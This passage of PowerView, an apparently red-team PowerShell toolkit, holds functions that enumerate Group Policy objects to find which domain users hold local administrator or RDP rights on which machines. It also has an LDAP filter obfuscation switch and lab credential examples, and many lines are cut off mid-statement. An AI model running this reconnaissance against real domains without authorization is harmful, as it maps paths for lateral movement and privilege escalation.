First enumerates all GPOs in the current/target domain using Get-DomainGPO with passed
arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or
group membership is set through Group Policy Preferences groups.xml files. For any
GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership'
section data is processed if present. Any found Groups.xml files are parsed with
Get-GroupsXML and those memberships are returned as well.
.PARAMETER Identity
A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD
GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF
.PARAMETER ResolveMembersToSIDs
Switch. Indicates that any member names should be resolved to their domain SIDs.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainGPOLocalGroup
Returns all local groups set by GPO along with their members and memberof.
.EXAMPLE
Get-DomainGPOLocalGroup -ResolveMembersToSIDs
Returns all local groups set by GPO along with their members and memberof,
and resolve any members to their domain SIDs.
.EXAMPLE
'{0847C615-6C4E-4D45-A064-6001040CC21C}' | Get-DomainGPOLocalGroup
Return any GPO-set groups for the GPO with the given name/GUID.
.EXAMPLE
Get-DomainGPOLocalGroup 'Desktops'
Return any GPO-set groups for the GPO with the given display name.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainGPOLocalGroup -Credential $Cred
.LINK
https://morgansimonsenblog.azurewebsites.net/tag/groups/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.GPOGroup')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[Switch]
$ResolveMembersToSIDs,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$ConvertArguments = @{}
if ($PSBoundParameters['Domain']) { $ConvertArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
$SplitOption = [System.StringSplitOptions]::RemoveEmptyEntries
}
PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
Get-DomainGPO @SearcherArguments | ForEach-Object {
$GPOdisplayName = $_.displayname
$GPOname = $_.name
$GPOPath = $_.gpcfilesyspath
$ParseArgs = @{ 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptT
if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential }
# first parse the 'Restricted Groups' file (GptTmpl.inf) if it exists
$Inf = Get-GptTmpl @ParseArgs
if ($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) {
$Memberships = @{}
# parse the members/memberof fields for each entry
ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) {
$Group, $Relation = $Membership.Key.Split('__', $SplitOption) | ForEach-Object {$_.Trim()
# extract out ALL members
$MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim(
if ($PSBoundParameters['ResolveMembersToSIDs']) {
# if the resulting member is username and not a SID, attempt to resolve it
$GroupMembers = @()
ForEach ($Member in $MembershipValue) {
if ($Member -and ($Member.Trim() -ne '')) {
if ($Member -notmatch '^S-1-.*') {
$ConvertToArguments = @{'ObjectName' = $Member}
if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Doma
$MemberSID = ConvertTo-SID @ConvertToArguments
if ($MemberSID) {
$GroupMembers += $MemberSID
}
else {
$GroupMembers += $Member
}
}
else {
$GroupMembers += $Member
}
}
}
$MembershipValue = $GroupMembers
}
if (-not $Memberships[$Group]) {
$Memberships[$Group] = @{}
}
if ($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue
$Memberships[$Group].Add($Relation, $MembershipValue)
}
ForEach ($Membership in $Memberships.GetEnumerator()) {
if ($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) {
# if the SID is already resolved (i.e. begins with *) try to resolve SID to a name
$GroupSID = $Membership.Key.Trim('*')
if ($GroupSID -and ($GroupSID.Trim() -ne '')) {
$GroupName = ConvertFrom-SID -ObjectSID $GroupSID @ConvertArguments
}
else {
$GroupName = $False
}
}
else {
$GroupName = $Membership.Key
if ($GroupName -and ($GroupName.Trim() -ne '')) {
if ($Groupname -match 'Administrators') {
$GroupSID = 'S-1-5-32-544'
}
elseif ($Groupname -match 'Remote Desktop') {
$GroupSID = 'S-1-5-32-555'
}
elseif ($Groupname -match 'Guests') {
$GroupSID = 'S-1-5-32-546'
}
elseif ($GroupName.Trim() -ne '') {
$ConvertToArguments = @{'ObjectName' = $Groupname}
if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
$GroupSID = ConvertTo-SID @ConvertToArguments
}
else {
$GroupSID = $Null
}
}
}
$GPOGroup = New-Object PSObject
$GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
$GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName
$GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath
$GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups'
$GPOGroup | Add-Member Noteproperty 'Filters' $Null
$GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName
$GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID
$GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Membero
$GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members
$GPOGroup.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup')
$GPOGroup
}
}
# now try to the parse group policy preferences file (Groups.xml) if it exists
$ParseArgs = @{
'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml"
}
Get-GroupsXML @ParseArgs | ForEach-Object {
if ($PSBoundParameters['ResolveMembersToSIDs']) {
$GroupMembers = @()
ForEach ($Member in $_.GroupMembers) {
if ($Member -and ($Member.Trim() -ne '')) {
if ($Member -notmatch '^S-1-.*') {
# if the resulting member is username and not a SID, attempt to resolve it
$ConvertToArguments = @{'ObjectName' = $Groupname}
if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
$MemberSID = ConvertTo-SID -Domain $Domain -ObjectName $Member
if ($MemberSID) {
$GroupMembers += $MemberSID
}
else {
$GroupMembers += $Member
}
}
else {
$GroupMembers += $Member
}
}
}
$_.GroupMembers = $GroupMembers
}
$_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
$_ | Add-Member Noteproperty 'GPOName' $GPOName
$_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences'
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup')
$_
}
}
}
}
function Get-DomainGPOUserLocalGroupMapping {
<#
.SYNOPSIS
Enumerates the machines where a specific domain user/group is a member of a specific
local group, all through GPO correlation. If no user/group is specified, all
discoverable mappings are returned.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: Get-DomainGPOLocalGroup, Get-DomainObject, Get-DomainComputer, Get-
.DESCRIPTION
Takes a user/group name and optional domain, and determines the computers in the domain
the user/group has local admin (or RDP) rights to.
It does this by:
1. resolving the user/group to its proper SID
2. enumerating all groups the user/group is a current part of
and extracting all target SIDs to build a target SID list
3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling
Get-DomainGPOLocalGroup
4. matching the target SID list to the queried GPO SID list
to enumerate all GPO the user is effectively applied with
5. enumerating all OUs and sites and applicable GPO GUIs are
applied to through gplink enumerating
6. querying for all computers under the given OUs or sites
If no user/group is specified, all user/group -> machine mappings discovered through
GPO relationships are returned.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a
for the user/group to identity GPO local group mappings for.
.PARAMETER LocalGroup
The local group to check access against.
Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
or a custom local SID. Defaults to local 'Administrators'.
.PARAMETER Domain
Specifies the domain to enumerate GPOs for, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainGPOUserLocalGroupMapping
Find all user/group -> machine relationships where the user/group is a member
of the local administrators group on target machines.
.EXAMPLE
Get-DomainGPOUserLocalGroupMapping -Identity dfm -Domain dev.testlab.local
Find all computers that dfm user has local administrator rights to in
the dev.testlab.local domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainGPOUserLocalGroupMapping -Credential $Cred
.OUTPUTS
PowerView.GPOLocalGroupMapping
A custom PSObject containing any target identity information and what local
group memberships they're a part of through GPO correlation.
.LINK
http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.GPOUserLocalGroupMapping')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String]
$Identity,
[String]
[ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')]
$LocalGroup = 'Administrators',
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$CommonArguments = @{}
if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential }
}
PROCESS {
$TargetSIDs = @()
if ($PSBoundParameters['Identity']) {
$TargetSIDs += Get-DomainObject @CommonArguments -Identity $Identity | Select-Object -Ex
$TargetObjectSID = $TargetSIDs
if (-not $TargetSIDs) {
Throw "[Get-DomainGPOUserLocalGroupMapping] Unable to retrieve SID for identity '$Identi
}
}
else {
# no filtering/match all
$TargetSIDs = @('*')
}
if ($LocalGroup -match 'S-1-5') {
$TargetLocalSID = $LocalGroup
}
elseif ($LocalGroup -match 'Admin') {
$TargetLocalSID = 'S-1-5-32-544'
}
else {
# RDP
$TargetLocalSID = 'S-1-5-32-555'
}
if ($TargetSIDs[0] -ne '*') {
ForEach ($TargetSid in $TargetSids) {
Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Enumerating nested group memb
$TargetSIDs += Get-DomainGroup @CommonArguments -Properties 'objectsid' -MemberIde
}
}
Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Target localgroup SID: $TargetLocalS
Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Effective target domain SIDs: $Target
$GPOgroups = Get-DomainGPOLocalGroup @CommonArguments -ResolveMembersToSIDs | Fo
$GPOgroup = $_
# if the locally set group is what we're looking for, check the GroupMembers ('members') for our
if ($GPOgroup.GroupSID -match $TargetLocalSID) {
$GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object {
if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) {
$GPOgroup
}
}
}
# if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SID
if ( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) {
if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) {
$GPOgroup
}
}
} | Sort-Object -Property GPOName -Unique
$GPOgroups | Where-Object {$_} | ForEach-Object {
$GPOname = $_.GPODisplayName
$GPOguid = $_.GPOName
$GPOPath = $_.GPOPath
$GPOType = $_.GPOType
if ($_.GroupMembers) {
$GPOMembers = $_.GroupMembers
}
else {
$GPOMembers = $_.GroupSID
}
$Filters = $_.Filters
if ($TargetSIDs[0] -eq '*') {
# if the * wildcard was used, set the targets to all GPO members so everything it output
$TargetObjectSIDs = $GPOMembers
}
else {
$TargetObjectSIDs = $TargetObjectSID
}
# find any OUs that have this GPO linked through gpLink
Get-DomainOU @CommonArguments -Raw -Properties 'name,distinguishedname' -GPLink $G
if ($Filters) {
$OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname,
}
else {
$OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname'
}
if ($OUComputers) {
if ($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)}
ForEach ($TargetSid in $TargetObjectSIDs) {
$Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'sam
$IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.sam
$GPOLocalGroupMapping = New-Object PSObject
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccou
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguished
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
$GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain
$GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType
$GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.Properties.d
$GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $OUComputer
$GPOLocalGroupMapping.PSObject.TypeNames.Insert(0, 'PowerView.GPOLocalGroup
$GPOLocalGroupMapping
}
}
}
# find any sites that have this GPO linked through gpLink
Get-DomainSite @CommonArguments -Properties 'siteobjectbl,distinguishedname' -GPLink $G
ForEach ($TargetSid in $TargetObjectSIDs) {
$Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'sama
$IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.sama
$GPOLocalGroupMapping = New-Object PSObject
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccount
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedna
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
$GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup
$GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType
$GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.distinguishedn
$GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl
$GPOLocalGroupMapping.PSObject.TypeNames.Add('PowerView.GPOLocalGroupMappi
$GPOLocalGroupMapping
}
}
}
}
}
function Get-DomainGPOComputerLocalGroupMapping {
<#
.SYNOPSIS
Takes a computer (or GPO) object and determines what users/groups are in the specified
local group for the machine through GPO correlation.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Get-DomainOU, Get-NetComputerSiteName, Get-Dom
.DESCRIPTION
This function is the inverse of Get-DomainGPOUserLocalGroupMapping, and finds what users/groups
are in the specified local group for a target machine through GPO correlation.
If a -ComputerIdentity is specified, retrieve the complete computer object, attempt to
determine the OU the computer is a part of. Then resolve the computer's site name with
Get-NetComputerSiteName and retrieve all sites object Get-DomainSite. For those results, attempt to
enumerate all linked GPOs and associated local group settings with Get-DomainGPOLocalGroup. For
each resulting GPO group, resolve the resulting user/group name to a full AD object and
return the results. This will return the domain objects that are members of the specified
-LocalGroup for the given computer.
Otherwise, if -OUIdentity is supplied, the same process is executed to find linked GPOs and
localgroup specifications.
.PARAMETER ComputerIdentity
A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computer
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-
or a dns host name (e.g. windows10.testlab.local) for the computer to identity GPO local group mapping
.PARAMETER OUIdentity
An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or
GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a) for the OU to identity GPO local group mappings
.PARAMETER LocalGroup
The local group to check access against.
Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
or a custom local SID. Defaults to local 'Administrators'.
.PARAMETER Domain
Specifies the domain to enumerate GPOs for, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainGPOComputerLocalGroupMapping -ComputerName WINDOWS3.testlab.local
Finds users who have local admin rights over WINDOWS3 through GPO correlation.
.EXAMPLE
Get-DomainGPOComputerLocalGroupMapping -Domain dev.testlab.local -ComputerName WINDOWS
Finds users who have RDP rights over WINDOWS4 through GPO correlation.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainGPOComputerLocalGroupMapping -Credential $Cred -ComputerIdentity SQL.testlab.local
.OUTPUTS
PowerView.GGPOComputerLocalGroupMember
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.GGPOComputerLocalGroupMember')]
[CmdletBinding(DefaultParameterSetName = 'ComputerIdentity')]
Param(
[Parameter(Position = 0, ParameterSetName = 'ComputerIdentity', Mandatory = $True, ValueFrom
[Alias('ComputerName', 'Computer', 'DistinguishedName', 'SamAccountName', 'Name')]
[String]
$ComputerIdentity,
[Parameter(Mandatory = $True, ParameterSetName = 'OUIdentity')]
[Alias('OU')]
[String]
$OUIdentity,
[String]
[ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')]
$LocalGroup = 'Administrators',
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$CommonArguments = @{}
if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope
if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPa
if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential }
}
PROCESS {
if ($PSBoundParameters['ComputerIdentity']) {
$Computers = Get-DomainComputer @CommonArguments -Identity $ComputerIdentity -Prope
if (-not $Computers) {
throw "[Get-DomainGPOComputerLocalGroupMapping] Computer $ComputerIdentity not fou
}
ForEach ($Computer in $Computers) {
$GPOGuids = @()
# extract any GPOs linked to this computer's OU through gpLink
$DN = $Computer.distinguishedname
$OUIndex = $DN.IndexOf('OU=')
if ($OUIndex -gt 0) {
$OUName = $DN.SubString($OUIndex)
}
if ($OUName) {
$GPOGuids += Get-DomainOU @CommonArguments -SearchBase $OUName -LDAPFilte
Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a
}
}
# extract any GPOs linked to this computer's site through gpLink
Write-Verbose "Enumerating the sitename for: $($Computer.dnshostname)"
$ComputerSite = (Get-NetComputerSiteName -ComputerName $Computer.dnshostname).Si
if ($ComputerSite -and ($ComputerSite -notmatch 'Error')) {
$GPOGuids += Get-DomainSite @CommonArguments -Identity $ComputerSite -LDAPFilte
Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a
}
}
# process any GPO local group settings from the GPO GUID set
$GPOGuids | Get-DomainGPOLocalGroup @CommonArguments | Sort-Object -Property GP
$GPOGroup = $_
if($GPOGroup.GroupMembers) {
$GPOMembers = $GPOGroup.GroupMembers
}
else {
$GPOMembers = $GPOGroup.GroupSID
}
$GPOMembers | ForEach-Object {
$Object = Get-DomainObject @CommonArguments -Identity $_
$IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.sam
$GPOComputerLocalGroupMember = New-Object PSObject
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'ComputerName' $Com
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectName' $Object.
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectDN' $Object.dis
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectSID' $_
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPODisplayName' $G
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOGuid' $GPOGrou
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOPath' $GPOGrou
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOType' $GPOGrou
$GPOComputerLocalGroupMember.PSObject.TypeNames.Add('PowerView.GPOComp
$GPOComputerLocalGroupMember
}
}
}
}
}
}
function Get-DomainPolicyData {
<#
.SYNOPSIS
Returns the default domain policy or the domain controller policy for the current
domain or a specified domain/domain controller.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainGPO, Get-GptTmpl, ConvertFrom-SID
.DESCRIPTION
Returns the default domain policy or the domain controller policy for the current
domain or a specified domain/domain controller using Get-DomainGPO.
.PARAMETER Domain
The domain to query for default policies, defaults to the current domain.
.PARAMETER Policy
Extract 'Domain', 'DC' (domain controller) policies, or 'All' for all policies.
Otherwise queries for the particular GPO name or GUID.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER SSL
Switch. Use SSL for the connection to the LDAP server.
.PARAMETER Obfuscate
Switch. Obfuscate the resulting LDAP filter string using hex encoding.
.EXAMPLE
Get-DomainPolicyData
Returns the default domain policy for the current domain.
.EXAMPLE
Get-DomainPolicyData -Domain dev.testlab.local
Returns the default domain policy for the dev.testlab.local domain.
.EXAMPLE
Get-DomainGPO | Get-DomainPolicy
Parses any GptTmpl.infs found for any policies in the current domain.
.EXAMPLE
Get-DomainPolicyData -Policy DC -Domain dev.testlab.local
Returns the policy for the dev.testlab.local domain controller.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
Get-DomainPolicyData -Credential $Cred
.OUTPUTS
Hashtable
Ouputs a hashtable representing the parsed GptTmpl.inf file.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([Hashtable])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('Source', 'Name')]
[String]
$Policy = 'Domain',
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$SSL,
[Switch]
$Obfuscate
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerT
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL }
if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate }
$ConvertArguments = @{}
if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
}
PROCESS {
if ($PSBoundParameters['Domain']) {
$SearcherArguments['Domain'] = $Domain
$ConvertArguments['Domain'] = $Domain
}
if ($Policy -eq 'All') {
$SearcherArguments['Identity'] = '*'
}
elseif ($Policy -eq 'Domain') {
$SearcherArguments['Identity'] = '{31B2F340-016D-11D2-945F-00C04FB984F9}'
}
elseif (($Policy -eq 'DomainController') -or ($Policy -eq 'DC')) {
